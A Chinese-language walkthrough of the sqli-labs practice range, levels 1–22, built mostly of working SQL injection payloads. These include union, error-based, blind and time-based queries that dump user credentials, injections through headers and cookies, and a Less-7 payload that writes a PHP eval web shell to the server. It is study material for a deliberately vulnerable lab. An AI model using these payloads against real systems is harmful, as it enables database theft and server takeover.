sqli-labs是一个非常经典的练习SQL注入的靶场,这里我来做题复习一下SQL注入。
Less-1
这里详细讲一下基本过程,后面就不赘述了,直接放payload
判断字符型还是数字型
?id=1 and 1=2 # 这里如果还是id=1的页面就说明为字符型
字符型要判断闭合符
?id=1’
这里闭合符为‘
判断列数
?id=1' group by 3--+
判断回显位
?id=-1' union select 1,2,3 --+
查数据库名
?id=-1' union select 1,database(),3 --+
查表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
得到emails,referers,uagents,users这几张表
查列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'
得到id,username,password这几个字段
查数据
?id=-1' union select 1,group_concat(id,'~',username,'~',password),3 from users --+
这一关不局限于使用union注入,也可以用盲注,报错注入等等。
Less-2
数字型,和第一关一样去掉引号就行。
?id=-1 union select 1,group_concat(id,'~',username,'~',password),3 from users --+
Less-3
字符型,闭合符与第一关不同其他一样。
?id=-1') union select 1,group_concat(id,'~',username,'~',password),3 from users --+
Less-4
字符型,闭合符与第一关不同其他一样。
?id=-1") union select 1,group_concat(id,'~',username,'~',password),3 from users --+
Less-5
这关前端没有回显数据,所以可以是使用报错注入和盲注。
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(id,'~',username,'~',password) from users))) --+
注意extractvalue函数只能返回32个字符,如果要显示后面的字符,需要使用substring函数。
Less-6
和Less-5一样,只是闭合方式不同。
?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(id,'~',username,'~',password) from users))) --+
Less-7
这关使用盲注,布尔盲注和延时盲注都行
?id=1')) and ascii(substr(database(),1,1))=115 --+
这里我用sqlmap跑了一下
题目提示了用文件操作
?id=-1')) union select 1,2,"<?php @eval($_POST['ttt']);?>" into outfile "1.php"--+
Less-8
使用盲注,或者用脚本和sqlmap跑
?id=1' and ascii(substr(database(),1,1))=115 --+
Less-9
使用时间盲注,或者用脚本和sqlmap跑,这里不多说了。
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
Less-10
使用时间盲注,和Less-9一样,闭合方式不同。
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
Less-11
post提交方式,和less-1一样的只是注入点不同,字段数不同,可以用bp抓一下包
11admin' union select 1,database() #
bp抓一下包
uname=11admin%27+union+select+1%2Cdatabase%28%29+%23&passwd=&submit=Submit
Less-12
和Less-11一样,闭合方式不同
11admin") union select 1,database() #
Less-13
看了前端没有显示数据,有报错,所以用报错注入,也可以盲注
语句和前面get提交的基本一样,拿来改改就能用
uname=1111" and extractvalue(1,concat(0x7e,(select group_concat(id,'~',username,'~',password) from users)))#&passwd=&submit=Submit
Less-14
和Less-13一样,闭合方式不同
uname=1111" and updatexml(1,concat(0x7e,(select group_concat(id,'~',username,'~',password) from users)),1)#&passwd=&submit=Submit
Less-15
没有报错,使用盲注,把前面盲注的payload改一下就行
admin' or if(ascii(substr(database(),1,1))>115,1,sleep(3)) #
Less-16
和Less-15一样,闭合方式不同
uname=1&passwd=admin") or if(ascii(substr(database(),1,1))=115,1,sleep(3)) #
Less-17
看了一下源码,uname参数被过滤password没有,报错没有被注释掉,所以可以盲注或者报错注入
uname=admin&passwd=1111' and updatexml(1,concat(0x7e,(select database())),1)#
Less-18
源码对这两个参数进行了过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
在user-agent里面加入引号会触发mysql报错,所以可以用报错注入和盲注
注意要使用数据库里面已有的username和password,不然不会显示user-agent
' and updatexml(1,concat(0x7e,(select database())),1) and '1'='1 #
Less-19
和Less-18一样,位置换成了referer,和Less-18一样要用数据库已有的username和password
' and updatexml(1,concat(0x7e,(select database())),1) and '1'='1 #
Less-20
输入数据库已有的username和password,显示I LOVE YOU COOKIES,提示跟cookie有关,抓一下包,如果没有cookie要自己加,发现get数据包里面有Cookie: uname=admin
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database())),1) and '1'='1 #
Less-21
正常登录,前端显示的Cookie: uname=YWRtaW4,发现admin被编码了,base64,所以把Less-20的payload编码一下就行。
Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSBhbmQgJzEnPScxICM=
Less-22
看一眼源码和上面差不多,只是闭合变成了双引号
Cookie:uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSM=